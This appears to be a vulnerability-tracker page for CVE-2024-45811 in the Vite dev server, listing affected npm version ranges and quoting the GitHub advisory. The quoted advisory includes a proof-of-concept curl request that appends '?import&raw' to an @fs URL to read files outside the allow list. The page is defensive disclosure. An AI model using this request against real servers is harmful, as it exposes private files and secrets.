server.fs.deny bypassed when using ?import&raw

Answer in brief

CVE-2024-45811 records a Medium severity vulnerability in server.fs.deny bypassed when using ?import&raw. The current sources do not mark it as known exploited. The current feed maps vite (npm), vite (npm), vite (npm), vite (npm) and additional mapped packages. Check affected ranges and fixed versions before updating.

Analysis pending evidence review

HOL Guard separates source facts from reviewed analysis. See the methodology.

Published Sep 17, 2024Updated Sep 17, 2024Source checked Aug 26, 2026First seen by HOL Aug 25, 2026Material review Sep 17, 2024

Upstream Advisory

Key facts

Risk: Medium
Exploitation: Not marked as known exploited
Affected software: 6 mapped packages or products
Fix availability: Not reported

Why this deserves its current priority

A CVSS score is not reported in the current record. The current sources do not mark it as known exploited. Treat this as a source-backed prioritization signal, not a statement about your environment.

Analysis status

Analysis pending evidence review

Factual feed record only; HOL analysis is not approved for indexing. Read the methodology.

Affected scope and exposure questions

The current feed maps vite (npm), vite (npm), vite (npm), vite (npm) and additional mapped packages. Check affected ranges and fixed versions before updating.

Mapped affected packages and fixed versions
Package	Affected range	Fixed version
vitenpm	>=5.4.0,<=5.4.5	Not reported
vitenpm	>=5.3.0,<=5.3.5	Not reported
vitenpm	>=5.0.0,<=5.2.13	Not reported
vitenpm	>=5.0.0,<=5.1.7	Not reported
vitenpm	>=4.0.0,<=4.5.3	Not reported
vitenpm	<=3.2.10	Not reported

Recommended response

Check inventory. Check lockfiles and deployed manifests for vite, vite, vite.
Review the reported fix. Monitor this advisory for an available fix and review any installs of the affected package.

Evidence timeline and material changes

Published upstream
Sep 17, 2024
Evidence: source:ghsa:source_dates:source-dates:record
Source modified
Sep 17, 2024
Evidence: source:ghsa:source_dates:source-dates:record
First seen by HOL
Aug 25, 2026

Sources and claim methodology

GitHub security advisorygithub.com

Upstream source description

### Summary The contents of arbitrary files can be returned to the browser. ### Details `@fs` denies access to files outside of Vite serving allow list. Adding `?import&raw` to the URL bypasses this limitation and returns the file content if it exists. ### PoC ```sh $ npm create vite@latest $ cd vite-project/ $ npm install $ npm run dev $ echo "top secret content" > /tmp/secret.txt # expected behaviour $ curl "http://localhost:5173/@fs/tmp/secret.txt" <body> <h1>403 Restricted</h1> <p>The request url "/tmp/secret.txt" is outside of Vite serving allow list. # security bypassed $ curl "http://localhost:5173/@fs/tmp/secret.txt?import&raw" export default "top secret content\n" //# sourceMappingURL=data:application/json;base64,eyJ2... ```

Quoted source text, attributed separately from HOL analysis.